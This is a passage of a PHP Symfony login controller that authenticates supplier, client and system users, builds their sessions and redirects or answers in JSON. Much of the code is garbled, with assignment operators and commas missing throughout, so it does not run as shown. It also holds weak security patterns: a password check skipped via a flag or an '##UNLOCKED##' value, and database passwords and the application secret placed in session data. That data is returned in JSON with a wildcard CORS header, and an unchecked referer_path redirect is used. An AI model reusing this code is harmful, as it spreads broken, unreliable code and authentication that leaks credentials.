  4412.                                             'session_data' => [],
  4413.                                         ));
  4414.                                         //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4415.                                         //                    return $response;
  4416.                                     }
  4417.                                     if ($systemType == '_BUDDYBEE_')
  4418.                                         return $this->redirectToRoute("applicant_login", [
  4419.                                             "message" => $message,
  4420.                                             "errorField" => 'password',
  4421.                                         ]);
  4422.                                     else if ($systemType == '_SOPHIA_')
  4423.                                         return $this->redirectToRoute("sophia_login", [
  4424.                                             "message" => $message,
  4425.                                             "errorField" => 'username',
  4426.                                         ]);
  4427.                                     else if ($systemType == '_CENTRAL_')
  4428.                                         return $this->redirectToRoute("central_login", [
  4429.                                             "message" => $message,
  4430.                                             "errorField" => 'username',
  4431.                                         ]);
  4432.                                     else
  4433.                                         return $this->render($redirect_login_page_twig, array(
  4434.                                             "message" => $message,
  4435.                                             'page_title' => "Login",
  4436.                                             'gocList' => $gocDataList,
  4437.                                             'gocId' => $gocId
  4438.                                         ));
  4439.                                 }
  4440.                             }
  4441.                         }
  4442.                         $jd = [];
  4443.                         if ($jd != null && $jd != '' && $jd != [])
  4444.                             $company_id_list $jd;
  4445.                         else
  4446.                             $company_id_list = [];
  4447. //                        $companyList = Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  4448. //                        foreach ($company_id_list as $c) {
  4449. //                            $company_name_list[$c] = $companyList[$c]['name'];
  4450. //                            $company_image_list[$c] = $companyList[$c]['image'];
  4451. //                        }
  4452.                     };
  4453.                 } else {
  4454.                     if ($cookieLogin == 1) {
  4455.                         $user $em->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  4456.                             array(
  4457.                                 'userId' => $userId
  4458.                             )
  4459.                         );
  4460.                     } else if ($encrypedLogin == 1) {
  4461.                         if (in_array($userType, [34]))
  4462.                             $specialLogin 1;
  4463.                         if ($userType == UserConstants::USER_TYPE_CLIENT) {
  4464.                             $user null;
  4465.                             if ($clientId 0) {
  4466.                                 $user $em->getRepository('ApplicationBundle\\Entity\\AccClients')->findOneBy(
  4467.                                     array(
  4468.                                         'clientId' => $clientId
  4469.                                     )
  4470.                                 );
  4471.                             }
  4472.                             if (!$user) {
  4473.                                 $user $em->getRepository('ApplicationBundle\\Entity\\AccClients')->findOneBy(
  4474.                                     array(
  4475.                                         'globalUserId' => $globalId
  4476.                                     )
  4477.                                 );
  4478.                             }
  4479. //
  4480.                             if ($user)
  4481.                                 $userId $user->getClientId();
  4482.                             $clientId $userId;
  4483.                         } else if ($userType == UserConstants::USER_TYPE_SUPPLIER) {
  4484.                             $user $em_goc->getRepository('ApplicationBundle\\Entity\\AccSuppliers')->findOneBy(
  4485.                                 array(
  4486.                                     'globalUserId' => $globalId
  4487.                                 )
  4488.                             );
  4489. //
  4490.                             if ($user)
  4491.                                 $userId $user->getSupplierId();
  4492.                             $supplierId $userId;
  4493.                         } else if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  4494. //                            $user = $em_goc->getRepository('CompanyGroupBundle\\Entity\\SysUser')->findOneBy(
  4495. //                                array(
  4496. //                                    'globalId' => $globalId
  4497. //                                )
  4498. //                            );
  4499. //
  4500. //                            if($user)
  4501. //                                $userId=$user->getUserId();
  4502. //                            $applicantId = $userId;
  4503.                         } else if ($userType == UserConstants::USER_TYPE_GENERAL || $userType == UserConstants::USER_TYPE_SYSTEM) {
  4504.                             $user $em->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  4505.                                 array(
  4506.                                     'globalId' => $globalId
  4507.                                 )
  4508.                             );
  4509.                             if ($user)
  4510.                                 $userId $user->getUserId();
  4511.                         }
  4512.                     } else {
  4513.                         $user $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  4514.                             array(
  4515.                                 'userName' => $request->request->get('username')
  4516.                             )
  4517.                         );
  4518.                     }
  4519.                     if (!$user) {
  4520.                         $user $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  4521.                             array(
  4522.                                 'email' => $request->request->get('username'),
  4523.                                 'userName' => [null'']
  4524.                             )
  4525.                         );
  4526.                         if (!$user) {
  4527.                             $message "Wrong User Name";
  4528.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4529.                                 return new JsonResponse(array(
  4530.                                     'uid' => $session->get(UserConstants::USER_ID),
  4531.                                     'session' => $session,
  4532.                                     'success' => false,
  4533.                                     'errorStr' => $message,
  4534.                                     'session_data' => [],
  4535.                                 ));
  4536.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4537.                                 //                    return $response;
  4538.                             }
  4539.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4540.                                 "message" => $message,
  4541.                                 'page_title' => "Login",
  4542.                                 'gocList' => $gocDataList,
  4543.                                 'gocId' => $gocId
  4544.                             ));
  4545.                         } else {
  4546.                             //add the email as username as failsafe
  4547.                             $user->setUserName($request->request->get('username'));
  4548.                             $em->flush();
  4549.                         }
  4550.                     }
  4551.                     if ($user) {
  4552.                         if ($user->getStatus() == UserConstants::INACTIVE_USER) {
  4553.                             $message "Sorry, Your Account is Deactivated";
  4554.                             if ($request->request->get('remoteVerify'$request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify))) == 1) {
  4555.                                 return new JsonResponse(array(
  4556.                                     'uid' => $session->get(UserConstants::USER_ID),
  4557.                                     'session' => $session,
  4558.                                     'success' => false,
  4559.                                     'errorStr' => $message,
  4560.                                     'session_data' => [],
  4561.                                 ));
  4562.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4563.                                 //                    return $response;
  4564.                             }
  4565.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4566.                                 "message" => $message,
  4567.                                 'page_title' => "Login",
  4568.                                 'gocList' => $gocDataList,
  4569.                                 'gocId' => $gocId
  4570.                             ));
  4571.                         }
  4572.                     }
  4573.                     if ($skipPassword == || $user->getPassword() == '##UNLOCKED##') {
  4574.                     } else if (!$this->container->get('app.legacy_password_service')->verifyWithSalt($user->getPassword(), $request->request->get('password'), $user->getSalt())) {
  4575.                         $message "Wrong Email/Password";
  4576.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4577.                             return new JsonResponse(array(
  4578.                                 'uid' => $session->get(UserConstants::USER_ID),
  4579.                                 'session' => $session,
  4580.                                 'success' => false,
  4581.                                 'errorStr' => $message,
  4582.                                 'session_data' => [],
  4583.                             ));
  4584.                             //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4585.                             //                    return $response;
  4586.                         }
  4587.                         return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4588.                             "message" => $message,
  4589.                             'page_title' => "Login",
  4590.                             'gocList' => $gocDataList,
  4591.                             'gocId' => $gocId
  4592.                         ));
  4593.                     }
  4594.                     $userType $user->getUserType();
  4595.                     $jd json_decode($user->getUserCompanyIdList(), true);
  4596.                     if ($jd != null && $jd != '' && $jd != [])
  4597.                         $company_id_list $jd;
  4598.                     else
  4599.                         $company_id_list = [$user->getUserCompanyId()];
  4600.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  4601.                     foreach ($company_id_list as $c) {
  4602.                         if (isset($companyList[$c])) {
  4603.                             $company_name_list[$c] = $companyList[$c]['name'];
  4604.                             $company_image_list[$c] = $companyList[$c]['image'];
  4605.                             $company_dark_vibrant_list[$c] = $companyList[$c]['dark_vibrant'];
  4606.                             $company_light_vibrant_list[$c] = $companyList[$c]['light_vibrant'];
  4607.                             $company_vibrant_list[$c] = $companyList[$c]['vibrant'];
  4608.                         }
  4609.                     }
  4610.                 }
  4611. //                $data["email"] = $request->request->get('username') ? $request->request->get('username') : $oAuthData['email'];
  4612.                 if ($remember_me == 1)
  4613.                     $session->set('REMEMBERME'1);
  4614.                 else
  4615.                     $session->set('REMEMBERME'0);
  4616.                 $config = array(
  4617.                     'firstLogin' => $firstLogin,
  4618.                     'rememberMe' => $remember_me,
  4619.                     'notificationEnabled' => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  4620.                     'notificationServer' => $this->getParameter('notification_server') == '' GeneralConstant::NOTIFICATION_SERVER $this->getParameter('notification_server'),
  4621.                     'applicationSecret' => $this->container->getParameter('secret'),
  4622.                     'gocId' => $gocId,
  4623.                     'appId' => $appIdFromUserName,
  4624.                     'gocDbName' => $gocDbName,
  4625.                     'gocDbUser' => $gocDbUser,
  4626.                     'gocDbHost' => $gocDbHost,
  4627.                     'gocDbPass' => $gocDbPass
  4628.                 );
  4629.                 $product_name_display_type 0;
  4630.                 if ($systemType != '_CENTRAL_') {
  4631.                     $product_name_display_settings $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\AccSettings')->findOneBy(array(
  4632.                         'name' => 'product_name_display_method'
  4633.                     ));
  4634.                     if ($product_name_display_settings)
  4635.                         $product_name_display_type $product_name_display_settings->getData();
  4636.                 }
  4637.                 if ($userType == UserConstants::USER_TYPE_SUPPLIER) {
  4638.                     $userCompanyId 1;
  4639.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  4640.                     if (isset($companyList[$userCompanyId])) {
  4641.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  4642.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  4643.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  4644.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  4645.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  4646.                     }
  4647.                     // General User
  4648.                     $session->set(UserConstants::USER_ID$user->getSupplierId());
  4649.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  4650.                     $session->set(UserConstants::SUPPLIER_ID$user->getSupplierId());
  4651.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_SUPPLIER);
  4652.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  4653.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  4654.                     $session->set(UserConstants::USER_NAME$user->getSupplierName());
  4655.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  4656.                     $session->set(UserConstants::USER_COMPANY_ID$user->getCompanyId());
  4657.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  4658.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  4659.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  4660.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  4661.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  4662.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  4663.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  4664.                     $session->set(UserConstants::USER_APP_ID$appIdFromUserName);
  4665.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  4666.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  4667.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  4668.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  4669.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  4670.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  4671.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  4672.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  4673.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  4674.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  4675.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  4676.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  4677.                     //                $PL=json_decode($user->getPositionIds(), true);
  4678.                     $route_list_array = [];
  4679.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  4680.                     //                $loginID=$this->get('user_module')->addUserLoginLog($session->get(UserConstants::USER_ID),
  4681.                     //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  4682.                     $loginID 0;
  4683.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  4684.                     //                    $session->set(UserConstants::USER_LOGIN_ID, $loginID);
  4685.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  4686.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  4687.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  4688.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  4689.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  4690.                     $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  4691.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  4692.                     $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  4693.                     //                $session->set(UserConstants::USER_PROHIBIT_LIST, json_encode(Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $PL[0])));
  4694.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4695.                         $session->set('remoteVerified'1);
  4696.                         $session_data = array(
  4697.                             UserConstants::USER_ID => $session->get(UserConstants::USER_ID0),
  4698.                             UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  4699.                             UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  4700.                             UserConstants::SUPPLIER_ID => $session->get(UserConstants::SUPPLIER_ID0),
  4701.                             UserConstants::CLIENT_ID => $session->get(UserConstants::CLIENT_ID0),
  4702.                             UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID0),
  4703.                             UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL''),
  4704.                             UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE0),
  4705.                             UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE''),
  4706.                             UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE''),
  4707.                             UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME''),
  4708.                             UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID0),
  4709.                             UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST, []),
  4710.                             UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST, []),
  4711.                             UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST, []),
  4712.                             'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  4713.                             'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  4714.                             'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  4715.                             UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID0),
  4716.                             UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION0),
  4717.                             UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT''),
  4718.                             UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET''),
  4719.                             UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST''),
  4720.                             UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG0),
  4721.                             UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID0),
  4722.                             UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME''),
  4723.                             UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER''),
  4724.                             UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST''),
  4725.                             UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS''),
  4726.                             UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE1),
  4727.                             UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  4728.                             UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  4729.                         );
  4730.                         $session_data $this->filterClientSessionData($session_data);
  4731.                         $response = new JsonResponse(array(
  4732.                             'uid' => $session->get(UserConstants::USER_ID),
  4733.                             'session' => $session,
  4734.                             'success' => true,
  4735.                             'session_data' => $session_data,
  4736.                         ));
  4737.                         $response->headers->set('Access-Control-Allow-Origin''*');
  4738.                         return $response;
  4739.                     }
  4740.                     if ($request->request->has('referer_path')) {
  4741.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  4742.                             return $this->redirect($request->request->get('referer_path'));
  4743.                         }
  4744.                     }
  4745.                     //                    if($request->request->has('gocId')
  4746.                     //                    if($user->getDefaultRoute()==""||$user->getDefaultRoute()=="")
  4747.                     return $this->redirectToRoute("supplier_dashboard");
  4748.                     //                    else
  4749.                     //                        return $this->redirectToRoute($user->getDefaultRoute());
  4750.                 }
  4751.                 if ($userType == UserConstants::USER_TYPE_CLIENT) {
  4752.                     // General User
  4753.                     $userCompanyId 1;
  4754.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  4755.                     if (isset($companyList[$userCompanyId])) {
  4756.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  4757.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  4758.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  4759.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  4760.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  4761.                     }
  4762.                     $session->set(UserConstants::USER_ID$user->getClientId());
  4763.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  4764.                     $session->set(UserConstants::CLIENT_ID$user->getClientId());
  4765.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_CLIENT);
  4766.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  4767.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  4768.                     $session->set(UserConstants::USER_NAME$user->getClientName());
  4769.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  4770.                     $session->set(UserConstants::USER_COMPANY_ID$user->getCompanyId());
  4771.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  4772.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  4773.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  4774.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  4775.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  4776.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  4777.                     $session->set(UserConstants::USER_APP_ID$appIdFromUserName);
  4778.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  4779.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  4780.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  4781.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  4782.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  4783.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  4784.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  4785.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  4786.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  4787.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  4788.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  4789.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  4790.                     //                $PL=json_decode($user->getPositionIds(), true);
  4791.                     $route_list_array = [];
  4792.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  4793.                     //                $loginID=$this->get('user_module')->addUserLoginLog($session->get(UserConstants::USER_ID),
  4794.                     //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  4795.                     $loginID 0;
  4796.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  4797.                     //                    $session->set(UserConstants::USER_LOGIN_ID, $loginID);
  4798.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  4799.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  4800.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  4801.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  4802.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  4803.                     $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  4804.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  4805.                     $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  4806.                     //                $session->set(UserConstants::USER_PROHIBIT_LIST, json_encode(Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $PL[0])));
  4807.                     $session_data = array(
  4808.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID0),
  4809.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  4810.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  4811.                         UserConstants::SUPPLIER_ID => $session->get(UserConstants::SUPPLIER_ID0),
  4812.                         UserConstants::CLIENT_ID => $session->get(UserConstants::CLIENT_ID0),
  4813.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID0),
  4814.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL''),
  4815.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE0),
  4816.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE''),
  4817.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE''),
  4818.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME''),
  4819.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID0),
  4820.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST, []),
  4821.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST, []),
  4822.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST, []),
  4823.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID0),
  4824.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION0),
  4825.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT''),
  4826.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET''),
  4827.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST''),
  4828.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  4829.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  4830.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  4831.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG0),
  4832.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID0),
  4833.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME''),
  4834.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER''),
  4835.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST''),
  4836.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS''),
  4837.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE1),
  4838.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  4839.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  4840.                     );
  4841.                     $session_data $this->filterClientSessionData($session_data);
  4842.                     $tokenData MiscActions::CreateTokenFromSessionData($em_goc$session_data);
  4843.                     $session_data $tokenData['sessionData'];
  4844.                     $token $tokenData['token'];
  4845.                     $session->set('token'$token);
  4846.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4847.                         $session->set('remoteVerified'1);
  4848.                         $response = new JsonResponse(array(
  4849.                             'uid' => $session->get(UserConstants::USER_ID),
  4850.                             'session' => $session,
  4851.                             'token' => $token,
  4852.                             'success' => true,
  4853.                             'session_data' => $session_data,
  4854.                         ));
  4855.                         $response->headers->set('Access-Control-Allow-Origin''*');
  4856.                         return $response;
  4857.                     }
  4858.                     if ($request->request->has('referer_path')) {
  4859.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  4860.                             return $this->redirect($request->request->get('referer_path'));
  4861.                         }
  4862.                     }
  4863.                     //                    if($request->request->has('gocId')
  4864.                     //                    if($user->getDefaultRoute()==""||$user->getDefaultRoute()=="")
  4865.                     return $this->redirectToRoute("client_dashboard"); //will be client
  4866.                     //                    else
  4867.                     //                        return $this->redirectToRoute($user->getDefaultRoute());
  4868.                 } else if ($userType == UserConstants::USER_TYPE_SYSTEM) {
  4869.                     // System administrator
  4870.                     // System administrator have successfully logged in. Lets add a login ID.
  4871.                     $employeeObj $em->getRepository('ApplicationBundle\\Entity\\Employee')
  4872.                         ->findOneBy(
  4873.                             array(
  4874.                                 'userId' => $user->getUserId()
  4875.                             )
  4876.                         );
  4877.                     if ($employeeObj) {
  4878.                         $employeeId $employeeObj->getEmployeeId();
  4879.                         $epositionId $employeeObj->getPositionId();
  4880.                         $holidayListObj HumanResource::getFilteredHolidaysSingle($em, ['employeeId' => $employeeId], $employeeObjtrue);
  4881.                         $currentMonthHolidayList $holidayListObj['filteredData']['holidayList'];
  4882.                         $currentHolidayCalendarId $holidayListObj['calendarId'];
  4883.                     }
  4884.                     $currentTask $em->getRepository('ApplicationBundle\\Entity\\TaskLog')
  4885.                         ->findOneBy(
  4886.                             array(
  4887.                                 'userId' => $user->getUserId(),
  4888.                                 'workingStatus' => 1
  4889.                             )
  4890.                         );
  4891.                     if ($currentTask) {
  4892.                         $currentTaskId $currentTask->getId();
  4893.                         $currentPlanningItemId $currentTask->getPlanningItemId();
  4894.                     }
  4895.                     $userId $user->getUserId();
  4896.                     $userCompanyId 1;
  4897.                     $lastSettingsUpdatedTs $user->getLastSettingsUpdatedTs();
  4898.                     $userEmail $user->getEmail();
  4899.                     $userImage $user->getImage();
  4900.                     $userFullName $user->getName();
  4901.                     $triggerResetPassword $user->getTriggerResetPassword() == 0;
  4902.                     $position_list_array json_decode($user->getPositionIds(), true);
  4903.                     if ($position_list_array == null$position_list_array = [];
  4904.                     $filtered_pos_array = [];
  4905.                     foreach ($position_list_array as $defPos)
  4906.                         if ($defPos != '' && $defPos != 0)
  4907.                             $filtered_pos_array[] = $defPos;
  4908.                     $position_list_array $filtered_pos_array;
  4909.                     if (!empty($position_list_array))
  4910.                         foreach ($position_list_array as $defPos)
  4911.                             if ($defPos != '' && $defPos != && $curr_position_id == 0) {
  4912.                                 $curr_position_id $defPos;
  4913.                             }
  4914.                     $userDefaultRoute $user->getDefaultRoute();
  4915. //                    $userDefaultRoute = 'MATHA';
  4916.                     $allModuleAccessFlag 1;
  4917.                     if ($userDefaultRoute == "" || $userDefaultRoute == null)
  4918.                         $userDefaultRoute '';
  4919. //                    $route_list_array = Position::getUserRouteArray($this->getDoctrine()->getManager(), $curr_position_id, $userId);
  4920.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  4921.                     if (isset($companyList[$userCompanyId])) {
  4922.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  4923.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  4924.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  4925.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  4926.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  4927.                     }
  4928.                     if ($allModuleAccessFlag == 1)
  4929.                         $prohibit_list_array = [];
  4930.                     else if ($curr_position_id != 0)
  4931.                         $prohibit_list_array Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $curr_position_id$user->getUserId());
  4932.                     $loginID $this->get('user_module')->addUserLoginLog(
  4933.                         $userId,
  4934.                         $request->server->get("REMOTE_ADDR"),
  4935.                         $curr_position_id
  4936.                     );
  4937.                     $appIdList json_decode($user->getUserAppIdList());
  4938.                     $branchIdList json_decode($user->getUserBranchIdList());
